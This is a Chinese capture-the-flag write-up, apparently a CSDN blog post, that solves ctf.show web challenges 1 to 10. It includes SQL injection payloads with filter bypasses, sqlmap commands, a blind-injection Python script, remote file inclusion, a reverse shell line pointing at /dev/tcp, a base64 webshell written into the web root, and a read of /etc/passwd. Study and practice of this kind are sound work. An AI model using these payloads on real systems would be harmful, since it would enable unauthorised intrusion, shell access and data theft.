ctf.show刷题记录_web(1-10)

ctf平台(ctfshow)

`https://ctf.show/

1、签到

ctf.show刷题记录_web(1-10)_第1张图片
ctf.show刷题记录_web(1-10)_第2张图片
ctf.show刷题记录_web(1-10)_第3张图片

解题:base64解码
ctfshow{0da357d0-359b-47e1-80dc-5c02212725e5}

2、web2

ctf.show刷题记录_web(1-10)_第4张图片

解题:

正常页面:
ctf.show刷题记录_web(1-10)_第5张图片

输入用户名admin,密码admin' or '1'='1
回显ctf.show
判断存在注入

ctf.show刷题记录_web(1-10)_第6张图片

尝试构造注入:
order by 无回显
直接sqlmap跑
python sqlmap.py -r 1.txt -D web2 -T flag  -C flag --dump

ctf.show刷题记录_web(1-10)_第7张图片
3个字段,返回来再看一下

a' union select 1,2,3 #

ctf.show刷题记录_web(1-10)_第8张图片

a' union select 1,database(),3 #

ctf.show刷题记录_web(1-10)_第9张图片

获取表:
a' union select 1,
(select group_concat(table_name) from information_schema.tables
where table_schema='web2')
,3 #

ctf.show刷题记录_web(1-10)_第10张图片

获取列
a'  union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#

ctf.show刷题记录_web(1-10)_第11张图片
获取字段值

a' union select 1,flag,3 from flag#

ctf.show刷题记录_web(1-10)_第12张图片

flag:

 ctfshow{a6e55c61-0c5e-4dcf-9c52-b51fb25f72b0}

3、web3

看题,属于代码审计文件操作漏洞

根据代码判断,最典型的远程文件包含漏洞

<?php
     include($_GET['url']);
?>

利用方式有两种:

1、远程包含

利用:在GET请求url参数里面传入

http://1ffe697e-987a-4286-9d14-32abe70c8f16.challenge.ctf.show/?url=http://1.x5.134.x:8001/1.txt

ctf.show刷题记录_web(1-10)_第13张图片

2、PHP输入输出流的利用方式

远程文件包含还有一种PHP输入输出流的利用方式,可以直接执行POST代码,这里我们仍然用上面这个代码测试,只要执行POST请求

http://1ffe697e-987a-4286-9d14-32abe70c8f16.challenge.ctf.show/?url=php://input

pastdata:


<?php phpinfo(); ?>

在这里插入图片描述

3、获取flag

php常见命令执行函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
 <?php system('cat  ctf_go_go_go index.php'); ?>

ctf.show刷题记录_web(1-10)_第14张图片

ctf.show刷题记录_web(1-10)_第15张图片
flag:

ctfshow{bc8731d7-5aa0-47b8-a924-ba8d5a6bd651}

4、ctf.show_web4

页面和web3一样,那大概率是命令执行函数绕过

ctf.show刷题记录_web(1-10)_第16张图片
读取index.php内容为

"; highlight_string($code); ?>

1、尝试反弹shell没成功

 <?php system('bash -i >& /dev/tcp/1.11.11/8111  0>&1'); ?>

2、尝试写马

查看/etc/passwd

http://53a63a9e-657e-4a48-8053-8b501fb6d4a1.challenge.ctf.show/?url=/etc/passwd

ctf.show刷题记录_web(1-10)_第17张图片
查看请求头是nginx中间件
ctf.show刷题记录_web(1-10)_第18张图片

通常nginx默认安装是在/etc/nginx/
网站配置文件是/etc/nginx/nginx.conf
先执行命令ls /etc
ctf.show刷题记录_web(1-10)_第19张图片
看起来有戏

 <?php system('cat  /etc/nginx/nginx.conf'); ?>

找到网站根目录,直接写马

 <?php system(' cd /var/www/html ; echo "PD9waHAKZXZhbCgkX1BPU1RbInBhc3MiXSk7Cg==" |base64 -d >111.php'); ?>

ctf.show刷题记录_web(1-10)_第20张图片

ctf.show刷题记录_web(1-10)_第21张图片在上级目录中找到flag

ctfshow{85899f1b-0e05-40ee-906d-b0dbfef12a28}

ctf.show刷题记录_web(1-10)_第22张图片

5、ctf.show_web5

ctf.show_web5
where is flag?
<?php
error_reporting(0);
    
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
    <title>ctf.show_web5</title>
</head>
<body>
    <center>
    <h2>ctf.show_web5</h2>
    <hr>
    <h3>
    </center>
    <?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

</body>
</html>

1、题目分析

ctype_alpha ( $text );它检查提供的字符串,文本中的所有字符是否都是字母, 如果在当前语言环境中 text 里的每个字符都是一个字母,那么就返回TRUE,反之则返回FALSEis_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE

这题我之前在ctf实验吧做过,基本一样

https://blog.csdn.net/szgyunyun/article/details/98591782
\\v1:必须是字母,不能为空
\\v2:必须是数字或数字字符串、浮点数
满足md5(v1)==md5(v2)就输出flag

2、md5加密相等绕过 原理:

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

3、解题


QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
http://27ad0f4a-0e55-42bd-94fa-0495e9b1ef63.challenge.ctf.show/?v1=QNKCDZO&&v2=240610708

4、flag

ctfshow{151dfc36-36f3-40ab-83ac-00a36ff2a708}

6、ctf.show_web6

1、题目分析注入

ctf.show刷题记录_web(1-10)_第23张图片ctf.show刷题记录_web(1-10)_第24张图片

2、尝试

发现加空格就拦截

ctf.show刷题记录_web(1-10)_第25张图片
直接用/**/代替空格, username=admin'/**/or'1'='1&password=admin'/**/order/**/by/**/100#确定存在注入
ctf.show刷题记录_web(1-10)_第26张图片
3、order by无回显,直接sqlmap跑延时盲注

.\sqlmap.py -r .\1.txt  --tamper space2comment.py  -v 3 -D web2 -T flag -C flag --dump

ctf.show刷题记录_web(1-10)_第27张图片

7、ctf.show_web7

1、判断存在注入

/index.php?id=1%27/**/or/**/1=1

ctf.show刷题记录_web(1-10)_第28张图片

2、order by判断字段个数为3

/index.php?id=1'/**/order/**/by/**/2#
/index.php?id=1'/**/order/**/by/**/4#

ctf.show刷题记录_web(1-10)_第29张图片
ctf.show刷题记录_web(1-10)_第30张图片

/index.php?id=1%27/**/union/**/select/**/1,2,3#

ctf.show刷题记录_web(1-10)_第31张图片

3、暴库、报表、包子段

/index.php?id=1%27/**/union/**/select/**/1,database(),3#

ctf.show刷题记录_web(1-10)_第32张图片
获取表

/index.php?id=1'/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3#

ctf.show刷题记录_web(1-10)_第33张图片
获取字段

/index.php?id=1%27/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3#

ctf.show刷题记录_web(1-10)_第34张图片
获取字段值

/index.php?id=1%27/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

ctf.show刷题记录_web(1-10)_第35张图片

4、flag

ctfshow{770c8d4d-3194-4515-a4ca-17cee85840d4}

8、web8

ctf.show刷题记录_web(1-10)_第36张图片

1、测试

/index.php?id=1'
/index.php?id=1/**/and/**/1=2#
报错
单引号、and被过滤了用or测试
/index.php?id=1/**/or/**/1>2#
/index.php?id=1/**/or/**/1<2#

ctf.show刷题记录_web(1-10)_第37张图片

ctf.show刷题记录_web(1-10)_第38张图片

2、order by 、判断3个字段

/index.php?id=1/**/order/**/by/**/4#

ctf.show刷题记录_web(1-10)_第39张图片

/index.php?id=1/**/order/**/by/**/3#

ctf.show刷题记录_web(1-10)_第40张图片

3、提示说得写工具那肯定过滤了部分语句

测试了一下

union过滤了、and过滤了、单引号、逗号过滤了!!!!

那我直接bool盲注一下试试

利用substring函数和ascii函数搞。。。substring函数无需逗号。
SUBSTRING(str,pos)
SUBSTRING(str FROM pos)
SUBSTRING(str,pos,len)
SUBSTRING(str FROM pos FOR len)

示例:
mysql> Select SUBSTRING('foobarbar' FROM 4 FOR 5);
+-------------------------------------+
| SUBSTRING('foobarbar' FROM 4 FOR 5) |
+-------------------------------------+
| barba                               |
+-------------------------------------+
1 row in set (0.00 sec)

逗号绕过

// substr() 逗号绕过
select * from test where id=1 and (select ascii(substr(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(substr(username from 2 for 1))from admin limit 1)>97;

// substring() 逗号绕过
select * from test where id=1 and (select ascii(substring(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(substring(username from 2 for 1))from admin limit 1)>97;

// mid() 逗号绕过
select * from test where id=1 and (select ascii(mid(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(mid(username from 2 for 1))from admin limit 1)>97;

// limit 逗号绕过
select * from test where id=1 limit 1,2; 
select * from test where id=1 limit 2 offset 1;

4、payload

获取数据库长度:

/index.php?id=-1/**/or/**/length(database())>1#

获取当前数据库:

/index.php?id=-1/**/or/**/ascii(SUBSTRING(database()/**/from/**/1))>1000#

ctf.show刷题记录_web(1-10)_第41张图片

/index.php?id=-1/**/or/**/ascii(SUBSTRING(database()/**/from/**/1))>1#

ctf.show刷题记录_web(1-10)_第42张图片

获取表个数(3个) :

/index.php?id=-1/**/or/**/(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())>1/**/#

ctf.show刷题记录_web(1-10)_第43张图片

获取第一个表长度(4):

/index.php?id=-1/**/or/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/0))>1#

group_concat获取table_name(3个表每个长度4,跑16位就可以):

/index.php?id=-1/**/or/**/ascii(SUBSTRING((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/1))>1#

先跑第一个表,是flag那后边也不用跑了
在这里插入图片描述

获取字段):

count flag表字段数量(1个)

/index.php?id=-1/**/or/**/(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag")=1#

length flag表字段长度(4)

/index.php?id=-1/**/or/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"/**/limit/**/1/**/offset/**/0))>1#

获取 flag列名(4)

/index.php?id=-1/**/or/**/ascii(SUBSTRING((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag")from/**/1))>1

获取字段内容):

5、编写脚本

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import requests
import time
aaa="A Child's Dream of a Star"

#len_payload = '/index.php?id=-1/**/or/**/length(database())>1#'
# 跑数据库
def database1():
    for lenth_number in range(1,10):
        url = 'http://36dea89b-965a-44d3-af96-d552f4d4eac4.challenge.ctf.show/'
        len_payload='/index.php?id=-1/**/or/**/length(database())={0}#'.format(lenth_number)
        url = url + len_payload
        #print(url)
        rest = requests.get(url).text
        if aaa in rest:
            print("database_lenth_payload:",len_payload,"\n","database_lenth:",lenth_number)
            break
    # print(lenth_number)
    database_result = ''
    for i in range(1,lenth_number+1):
        time.sleep(0.5)
        for j in range(31,129):
            url = 'http://36dea89b-965a-44d3-af96-d552f4d4eac4.challenge.ctf.show'
            payload="/index.php?id=-1/**/or/**/ascii(SUBSTRING(database()/**/from/**/{0}))={1}#".format(i,j)
            url = url + payload
            #print(url)
            rest = requests.get(url,timeout=10).text
            if aaa in rest:
                database_result += chr(j)
                #print(chr(j))
                break # 跳出循环
    print("database:",database_result)

#table_number_payload="/index.php?id=-1/**/or/**/(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())>1/**/#"
def table_number1():
    for i in range(0,30):
        table_number_payload="/index.php?id=-1/**/or/**/(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())>{0}/**/#".format(i)
        url = 'http://36dea89b-965a-44d3-af96-d552f4d4eac4.challenge.ctf.show'
        url = url + table_number_payload
        rest = requests.get(url, timeout=10).text
        if aaa not in rest:
            table_number=i
            print("table_number:",i)
            return table_number
            continue

#跑第一个flag表
def table_name1():
    table_name = ''
    for x1 in range(1,5):
        for x2 in range(31,129):
            table_name_payload = '/index.php?id=-1/**/or/**/ascii(SUBSTRING((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/{0}))>{1}#'.format(
                x1, x2)
            url = 'http://36dea89b-965a-44d3-af96-d552f4d4eac4.challenge.ctf.show'
            url = url + table_name_payload
            #print(url)
            try:
                rest = requests.get(url).text
            except:
                print("请求超时")
                time.sleep(1)
                rest = requests.get(url).text
            if aaa  not in rest:
                #print(chr(x2))
                table_name = table_name+chr(x2)
                break
    print("table_name:",table_name)
    return table_name
# table_name1()
def colunms1():
    colunms_name = ''
    for c1 in range(1, 5):
        for c2 in range(31, 129):
            colunms_len_payload = '/index.php?id=-1/**/or/**/ascii(SUBSTRING((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag")from/**/{0}))>{1}#'.format(
                c1, c2)
            url = 'http://36dea89b-965a-44d3-af96-d552f4d4eac4.challenge.ctf.show'
            url = url + colunms_len_payload
            #print(url)
            try:
                rest = requests.get(url).text
            except:
                print("请求超时")
                time.sleep(1)
                rest = requests.get(url).text
            if aaa not in rest:
                #print(chr(c2))
                colunms_name = colunms_name + chr(c2)
                break
    print("colunms_name",colunms_name)
    return colunms_name

a=database1()
b=table_number1()
c=table_name1()
d=colunms1()
flag = ''
for v1 in range(1, 46):
    for v2 in range(31, 129):
        payload = '/index.php?id=-1/**/or/**/ascii(SUBSTRING((select/**/flag/**/from/**/flag)from/**/{0}))>{1}#'.format(
            v1, v2)
        url = 'http://36dea89b-965a-44d3-af96-d552f4d4eac4.challenge.ctf.show'
        url = url + payload
        #print(url)
        try:
            rest = requests.get(url).text
        except:
            print("请求超时")
            time.sleep(1)
            rest = requests.get(url).text
        if aaa not in rest:
            #print(chr(v2))
            flag = flag + chr(v2)
            break
print("flag:", flag)

ctf.show刷题记录_web(1-10)_第44张图片

9、web9

半天没找到思路,百度了一下,发现爆破目录有个index.phps,后来发现robots.txt里边就有




<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功
"
; echo $flag; } } ?>

函数分析


mysqli_fetch_assoc()
<?php 
// 假定数据库用户名:root,密码:123456,数据库:RUNOOB 
$con=mysqli_connect("localhost","root","123456","RUNOOB"); 
if (mysqli_connect_errno($con)) 
{ 
    echo "连接 MySQL 失败: " . mysqli_connect_error(); 
} 
 
$sql="SELECT name,url FROM websites ORDER BY alexa";
$result=mysqli_query($con,$sql);
 
// 关联数组
$row=mysqli_fetch_assoc($result);
printf ("%s (%s)\n",$row["name"],$row["url"]);
 
// 释放结果集
mysqli_free_result($result);
 
mysqli_close($con);
?>

题目分析

如果执行sql结果$result返回行数>1,登录成功就输出flag,那么
唯一可以sql注入的地方就是md5($password,true)这个地方。

语法

md5(string,raw)
参数 描述
string 必需。要计算的字符串。
raw 可选。默认不写为FALSE。32位16进制的字符串 TRUE。16位原始二进制格式的字符串

大佬们的解读:

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。

当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

这里需要注意的是,当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。

上面的’ffifdyop‘字符串对应的16位原始二进制的字符串就是” 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c “ 。 ’ \ ‘后面的3个字符连同’ \ '算一个字符,比如’ \xc9 ‘,所以上述一共16个。当然,像’ \xc9 ‘这种字符会显示乱码。
这里32位的16进制的字符串,两个一组就是上面的16位二进制的字符串。比如27,这是16进制的,先要转化为10进制的,就是39,39在ASC码表里面就是’ ’ ‘字符。6f就是对应‘ o ’。

然后我们得到的sql语句就是 SELECT * FROM admin WHERE username = ‘admin’ and password = '‘or’6�]��!r,��b’

为什么password = ''or’6�]��!r,��b’的返回值会是true呢,因为or后面的单引号里面的字符串(6�]��!r,��b),是数字开头的。当然不能以0开头。(我不知道在数据库里面查询的时候,�这种会不会显示)

content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8

这个字符串也是符合要求的。因为它含有‘or’8 ,但是这里限制了长度。

那我们从正向推算一下,要怎么得到我们要的答案。首先我们要找到一个字符串,这个字符串经过md5得到的16位原始二进制的字符串能帮我们实现sql注入。首先or这个字符串是必要的,同时为了配对原先sql语句里面有的单引号

在or的两边要有单引号,使它变成 password=‘xxx’or‘xxx’ 的形式,所以我们需要的字符串的原始二进制格式的字符串里要包含 ‘or’ ,如果根据原始二进制来找到我们要的字符串可能会比较麻烦,那么可以根据32位16进制的字符串来查找,根据上面介绍的, ‘or’ 对应的16进制是 276f7227 ,所以我们的目标就是要找一个字符串取32位16进制的md5值里带有276f7227这个字段的,接着就是要看关键的数字部分了,在276f7227这个字段后面紧跟一个数字,除了0,1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是我们需要有276f7227+(31-39)这个字段,就可以满足要求。比如xxxxxxxxxxxxxxxx276f7227(31-39)xxxxxx
————————————————
版权声明:本文为CSDN博主「March97」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/March97/article/details/81222922

解题:

ffifdyop

10、web10

题目分析

尝试注入发现过滤了and注入敏感字符,从sql注入入手没找到思路,结合第9题,发现了index.phps源码。开始构造绕过payload并写脚本。




<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功
"
; echo $flag; } } } ?>

过滤内容如下

select|from|where|join|sleep|and|\s|union

解题思路

想到username = ‘$username’";没过滤or/**/‘1’='1构造永真,但是

	if($password==$row['password']){

这里做了防护,回传的password需要和输入的password一致只能想办法绕过。
绕过:想办法让回传的password需要和输入的password一致

用到的小技巧

select * from department where DepID=1 or 1=1

ctf.show刷题记录_web(1-10)_第45张图片

用到with rollup

with rollup:在所有记录的最后加上一条记录,
显示select查询时聚合函数的统计和计算结果
select * from department where DepID=1 or 1=1 
group by DepID with rollup;

ctf.show刷题记录_web(1-10)_第46张图片
这样返回的password就是null了我们输入passord的地方也输入为空就可以了

构造payload

sql

$sql="select * from user where username = ' 'or 1=1 group by password with rollup #'";

payload:

'or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#

你可能感兴趣的:(CTF,前端,bash,linux)